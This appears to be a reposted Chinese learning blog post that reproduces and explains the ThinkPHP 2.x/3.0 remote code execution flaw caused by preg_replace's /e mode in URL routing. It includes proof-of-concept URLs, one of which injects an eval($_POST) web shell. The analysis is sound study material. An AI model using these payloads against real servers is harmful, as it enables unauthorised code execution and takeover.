本文共 2576 字,大约阅读时间需要 8 分钟。
第一次做漏洞复现,但是感觉自己的描述不是很清晰(有点逻辑混乱),文末参考链接讲的很清楚。
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
POC:
/index.php?s=/index/index/name/${ @phpinfo()}
/index.php?s=/index/index/name/${ @print(eval($_POST[1]))}
preg_replace 函数执行一个正则表达式的搜索和替换。
语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
但是在/e模式下,会将替换的字符当做代码执行。
代码分析:
// 分析PATHINFO信息 self::getPathInfo(); if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var = array(); if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){ $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : ''; if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) { // 禁止直接访问分组 exit; } } if(!isset($_GET[C('VAR_MODULE')])) { // 还没有定义模块名称 $var[C('VAR_MODULE')] = array_shift($paths); } $var[C('VAR_ACTION')] = array_shift($paths); // 解析剩余的URL参数 $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); $_GET = array_merge($var,$_GET); }
最开始的if判断,没有路由规则则使用默认规则,也就是执行$res。
$var是一个数组,对它的操作\$var[\'\\1\']="\\2";
表示第一个值为key,第二个值为value。
所以,当第三个参数可控时,可以插入恶意代码。
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…] 如果不支持PATHINFO的服务器可以使用兼容模式访问如下: http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
参考:
我再好好学习一下。
主要分析一下正则,毕竟是漏洞存在的地方:
变量b中的aaa之间的部分被替换成变量a的值。
变量a是一个函数,在正则替换时,本来应该被替换的hellordword确实替换了,但是没有值。
给变量a的函数test传入参数"\1",本来应该被替换的部分,也就是helloword,反而变成了参数进行了传递。
通过可控参数b,传入一个变量c。
个人理解:正则表达式中本来要进行替换的位置,本身就依靠数组进行存储,而test传入的"\1",相当于取出数组中的元素(数组不是很恰当,因为数组从0开始),进行了传参。
试一下:
那这个东西就好理解了 :$var[’\1’]="\2"
第一个本来要被替换的数据,第一个给了key,第二个给了value(前面好像说了,这里在理解理解)。
可控的位置为implode($depr,$paths),implode()是将数组转成字符串。
到这,理解的差不多了(自己理解的差不多了,哈哈)。
转载地址:http://zqcyk.baihongyu.com/